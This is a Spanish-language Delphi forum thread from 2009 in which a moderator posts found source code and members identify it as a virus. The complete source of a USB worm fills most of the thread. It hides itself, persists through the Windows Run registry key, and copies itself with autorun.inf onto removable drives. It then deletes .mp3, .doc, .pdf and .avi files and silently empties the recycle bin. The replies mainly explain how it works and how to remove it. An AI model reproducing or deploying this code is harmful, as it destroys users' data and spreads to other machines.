Ir al contenido


Foto

Que es este codigo, que hace?


  • Por favor identifícate para responder
11 respuestas en este tema

#1 Caral

Caral

    Advanced Member

  • Moderador
  • PipPipPip
  • 4.266 mensajes
  • LocationCosta Rica

Escrito 09 enero 2009 - 02:30

Hola
Revisando entre las carpetas me encontré con este código, parece según tengo entendido que es un virus hecho en Delphi, sera?.
Si es asi, Primero no aconsejo usarlo por que no se que hace.
Lo encontré entre las carpetas de código que he bajado durante mucho tiempo y que por supuesto no entiendo ni he tocado.
Ya que lo encontré tal vez alguien sepa para que sirve?.



delphi
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, StdCtrls,Registry;
  8.  
  9. type
  10.   TForm1 = class(TForm)
  11.  
  12.     function ALaPapelera(Fichero:string):boolean;
  13.     Function VaciaPapelera:String;
  14.     function GetWindowsDirectory : String;
  15.     procedure Autorun;
  16.     procedure FormCreate(Sender: TObject);
  17.   private
  18.     { Private declarations }
  19.     Lista: set of Char;
  20.     procedure CrearLista;
  21.     procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;
  22.   public
  23.     { Public declarations }
  24.     procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
  25.  
  26.   end;
  27.  
  28. var
  29.   Form1: TForm1;
  30.     Ficheros1:TStringList;
  31. implementation
  32.  
  33. {$R *.dfm}
  34.  
  35.  
  36.  
  37. function Tform1.GetWindowsDirectory : String;
  38.   var
  39.     pcWindowsDirectory : PChar;
  40.     dwWDSize          : DWORD;
  41.   begin
  42.     dwWDSize := MAX_PATH + 1;
  43.     GetMem( pcWindowsDirectory, dwWDSize );
  44.     try
  45.         if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0
  46. then
  47.           Result := pcWindowsDirectory;
  48.     finally
  49.         FreeMem( pcWindowsDirectory );
  50.     end;
  51.   end;
  52.  
  53.  
  54. Function Tform1.VaciaPapelera;
  55.  
  56.   type
  57.     TSHEmptyRecycleBin = function (Wnd: HWND;
  58.                                   LPCTSTR: PChar;
  59.                                   DWORD: Word): integer; stdcall;
  60.   var
  61.     MangoLib          : THandle;
  62.     SHEmptyRecycleBin  : TSHEmptyRecycleBin;
  63.     i:integer;
  64.   begin
  65.     {Cargamos SHell32.DLL}
  66.     {Load Shell32.DLL}
  67.     MangoLib := LoadLibrary(PChar('Shell32.dll'));
  68.  
  69.     {Si no se pudo... error}
  70.     {if not... error}
  71.     if MangoLib = 0 then
  72.       Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+
  73.                               'Cannot load Shell32.DLL');
  74.  
  75.     {Buscamos dentro de la DLL la funcion que queremos}
  76.     {Search into DLL the required funtion}
  77.     @SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');
  78.  
  79.     {Si no existe... error}
  80.     {If don't exists... error}
  81.     if @SHEmptyRecycleBin = nil then
  82.     begin
  83.       FreeLibrary(MangoLib);
  84.       Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+
  85.                               'Cannot find SHEmptyRecycleBinA in Shell32.DLL');
  86.     end;
  87.  
  88.     {Vaciamos la papelera, sin sonido ni confirmación}
  89.     {Empty the Recycle bin...}
  90.     SHEmptyRecycleBin(Application.Handle,'',7);
  91.  
  92.     {Liberamos la DLL}
  93.     {Free the DLL}
  94.     FreeLibrary(MangoLib);
  95.   end;
  96.  
  97. function Tform1.ALaPapelera(Fichero:string):boolean;
  98. var
  99.   FileOp: TSHFileOpStruct;
  100. begin
  101.   if FileExists(Fichero)then
  102.   begin
  103.     FillChar(FileOp,SizeOf(FileOp),#0);
  104.     with FileOp do
  105.     begin
  106.       Wnd:= Application.Handle;
  107.      
  108.       pFrom:= PChar(Fichero+#0#0);
  109.       fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  110.     end;
  111.     Result:= (ShFileOperation(FileOp)=0);
  112.   end else
  113.     Result:=False;
  114. end;
  115.  
  116. procedure TForm1.CrearLista;
  117. var
  118.   Letra: Char;
  119.  
  120.  
  121. begin
  122.   Lista:= [];
  123.   for Letra:= 'C' to 'Z' do
  124.     if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
  125.       Lista:= Lista + [Letra];
  126. end;
  127.  
  128. procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);
  129. var
  130.   Letra: Char;
  131.   Atributos: Cardinal;
  132. begin
  133.   if Msg.WParam = DBT_DEVICEARRIVAL  then
  134.   begin
  135.     for Letra:= 'C' to 'Z' do
  136.       if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
  137.       begin
  138.         if not (Letra in Lista) then
  139.         begin
  140.        
  141.     copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);
  142.     SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);
  143.   with TStringList.Create() do
  144.   try
  145.     Add('[Autorun]');
  146.     Add('ShellExecute=ReproductorWMV.exe');
  147.     add('attrib +h Autorun.inf');
  148.  
  149.     try
  150.       SaveToFile(Letra+':\autorun.inf');
  151.       SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);
  152.     except
  153.       on E: Exception do
  154.       begin
  155.         ShowMessageFmt(
  156.           'Ocurrió una excepción: %s',
  157.           [E.Message]
  158.         );
  159.       end;
  160.     end;
  161.   finally
  162.     Free();
  163.   end;
  164.  
  165.           //ShowMessage('Este es un disco removible '+Letra+':\');
  166.         end;
  167.       end;
  168.   end;
  169.   CrearLista;
  170.   inherited;
  171. end;
  172.  
  173. procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
  174. var
  175.   srRes : TSearchRec;
  176.   iFound : Integer;
  177.  
  178. begin
  179.   if ( brec ) then
  180.     begin
  181.     if path[Length(path)] <> '\' then path := path +'\';
  182.    
  183.     while iFound = 0 do
  184.       begin
  185.  
  186.       if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then
  187.         if srRes.Attr and faDirectory > 0 then
  188.           BuscaFicheros( path + srRes.Name, mask, Value, brec );
  189.       iFound := FindNext(srRes);
  190.  
  191.       end;
  192.     FindClose(srRes);
  193.     end;
  194.  
  195.   if path[Length(path)] <> '\' then path := path +'\';
  196.   iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
  197.   while iFound = 0 do
  198.     begin
  199.     if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then
  200.       Value.Add(path+srRes.Name);
  201.  
  202.     iFound := FindNext(srRes);
  203.  
  204.     end;
  205.  
  206.   FindClose( srRes );
  207. end;
  208.  
  209. procedure Tform1.Autorun;
  210. var
  211.   Registro    :TRegistry;
  212.   Atributos: Cardinal;
  213. begin
  214.   Registro:=TRegistry.create;
  215.   Registro.RootKey := HKEY_LOCAL_MACHINE;
  216.  
  217.   if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)
  218. then
  219.     begin
  220.  
  221.       Registro.WriteString('SystemRoot',GetWindowsDirectory+
  222. '\ReproductorWMV.exe');
  223.  
  224. copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);
  225.  
  226.     SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);
  227.     end;
  228.  
  229. Registro.Destroy;
  230.  
  231. end;
  232.  
  233. procedure TForm1.FormCreate(Sender: TObject);
  234.  
  235. var
  236.   Ficheros:TStringList;
  237.   FicherosDoc:TStringList;
  238.   dato :TStringList;
  239.     i:integer;
  240. begin
  241. BorderStyle := bsNone;
  242. Left := 0;
  243. Top := 0;
  244.   Width := 0;
  245.   Height := 0;
  246.   Visible := False;
  247.   Application.Title := '';
  248.   Application.ShowMainForm := False;
  249.   ShowWindow( Application.Handle, SW_HIDE );
  250.  
  251.   Ficheros:=TStringList.Create;
  252.   BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);
  253.   SetWindowLong( Application.Handle, GWL_EXSTYLE,
  254.   GetWindowLong(Application.Handle, GWL_EXSTYLE) or
  255.           WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
  256.   autorun;
  257.   if ficheros.count > 0 then
  258.     begin
  259.      
  260.       Ficheros.Free;
  261.       form1.visible:=false;
  262.     end else
  263.       begin
  264.         BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);
  265.           for i:=0 to ficheros.Count -1 do
  266.             Alapapelera (ficheros[i]);
  267.             vaciapapelera;
  268.             BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);
  269.             for i:=0 to ficheros.Count -1 do
  270.                 Alapapelera (ficheros[i]);
  271.                 vaciapapelera;
  272.  
  273.           BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);
  274.             for i:=0 to ficheros.Count -1 do
  275.                 Alapapelera (ficheros[i]);
  276.                 vaciapapelera;
  277.               BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);
  278.             for i:=0 to ficheros.Count -1 do
  279.                 Alapapelera (ficheros[i]);
  280.                 vaciapapelera;
  281.  
  282.           ficheros.Free;
  283.         end;
  284.  
  285. end;
  286.  
  287. end.


Saludos
  • 0

#2 enecumene

enecumene

    Webmaster

  • Administrador
  • 7.419 mensajes
  • LocationRepública Dominicana

Escrito 09 enero 2009 - 02:33

Pues al parecer éste código lo que hace es que envía a la papelera (Recycle Bin) un directorio determinado. creo  *-)

Saludos.
  • 0

#3 egostar

egostar

    missing my father, I love my mother.

  • Administrador
  • 14.448 mensajes
  • LocationMéxico

Escrito 09 enero 2009 - 02:57

^o| *-) 8-)

Pues hace esto

Se Inicia Automáticamente
Obtiene un directorio de Windows
Busca Archivos
Crea una lista de esos Archivos
Envia los archivos a la papelera
Vacia la papelera

:p

Salud OS
  • 0

#4 Caral

Caral

    Advanced Member

  • Moderador
  • PipPipPip
  • 4.266 mensajes
  • LocationCosta Rica

Escrito 09 enero 2009 - 02:59

Hola
Y lo hace oculto?, si es asi, entonces si es un virus?.
Ahora abría que ver si se salta el antivirus?.
Saludos
  • 0

#5 cHackAll

cHackAll

    Advanced Member

  • Administrador
  • 599 mensajes

Escrito 10 enero 2009 - 03:02

Aunque solo lo vi rapidamente te puedo decir que aparte de lo dicho anteriormente se encarga de enviar a la papelera los archivos con extension .mp3, .doc, .pdf y .avi encontrados en la unidad C y luego vacía la papelera... al parecer si existe el archivo "cura.txt" en la carpeta "cura" no hace nada, asi y todo duda que haga algo pues tiene una falla en la busqueda de archivos.

Hola
Y lo hace oculto?, si es asi, entonces si es un virus?.
Ahora abría que ver si se salta el antivirus?.
Saludos


Lo que hace que sea un "virus", es el echo que detecta la "insercion" de un nuevo dispositivo extraíble (ej, Flash), donde hace una copia de si mismo para que una vez ejecutado en otro ordenador se copie al disco local y modifique el "inicio" del SO para correr automaticamente.

Salud!
  • 0

#6 Caral

Caral

    Advanced Member

  • Moderador
  • PipPipPip
  • 4.266 mensajes
  • LocationCosta Rica

Escrito 10 enero 2009 - 03:21

Hola
Muy interesante, osea:
Se ejecuta solo.
Se auto copia en el dispositivo que se conecte.
Elimina los ficheros.
Y si encuentra un archivo texto cura.txt en un directorio cura, no se ejecuta ni se copia.
Interesante pero no deja de ser una P......... si se lo inyectan a uno que no sabe nada.
Ahora:
Lo detecta el antivirus?.
Si se mete en el SO, se puede eliminar?.
Saludos
  • 0

#7 cHackAll

cHackAll

    Advanced Member

  • Administrador
  • 599 mensajes

Escrito 10 enero 2009 - 03:36

...Se ejecuta solo...


Es siempre el usuario quien lo ejecuta directa o indirectamente, aunque una vez ya ejecutado el SO será quien lo ejecute al iniciar.

...Se auto copia en el dispositivo que se conecte.
Elimina los ficheros...


Si

...Y si encuentra un archivo texto cura.txt en un directorio cura no se ejecuta ni se copia...


No, lo que "no" hace es borrar los archivos.

...Interesante pero no deja de ser una P......... si se lo inyectan a uno que no sabe nada...


Siempre

Ahora:

...Lo detecta el antivirus?...


Depende de la heuristica del AV puesto que dicho virus puede ser muy modificado para que no sea reconocido (pues es lo que principalmente hace un AV... reconocer!)

...Si se mete en el SO, se puede eliminar?...


Bueno eso depende; como dices, si la persona no sabe nada estará "jodida"... pero con algo de experiencia te puedo decir que basta con borrar un archivo y un residente.

PD; quieres hacer alguna maldad?

Saludos
  • 0

#8 enecumene

enecumene

    Webmaster

  • Administrador
  • 7.419 mensajes
  • LocationRepública Dominicana

Escrito 10 enero 2009 - 03:40

PD; quieres hacer alguna maldad?


Esperemos que no sea a cierto españolito por ahí. :s
  • 0

#9 cHackAll

cHackAll

    Advanced Member

  • Administrador
  • 599 mensajes

Escrito 10 enero 2009 - 03:47


PD; quieres hacer alguna maldad?


Esperemos que no sea a cierto españolito por ahí. :s


Me perdi de algo?
  • 0

#10 Caral

Caral

    Advanced Member

  • Moderador
  • PipPipPip
  • 4.266 mensajes
  • LocationCosta Rica

Escrito 10 enero 2009 - 03:51

Hola
No amigo, solo vi el codigo por ahi perdido y quise ver para que sirve.
Saludos
  • 0

#11 Guest_Jose Fco_*

Guest_Jose Fco_*
  • Visitante

Escrito 10 enero 2009 - 06:30

Bueno y ¿esto que es?

Un Saludo.



#12 enecumene

enecumene

    Webmaster

  • Administrador
  • 7.419 mensajes
  • LocationRepública Dominicana

Escrito 10 enero 2009 - 06:32

Bueno y ¿esto que es?

Un Saludo.


Una especie de Virus amigo ;).
  • 0




IP.Board spam blocked by CleanTalk.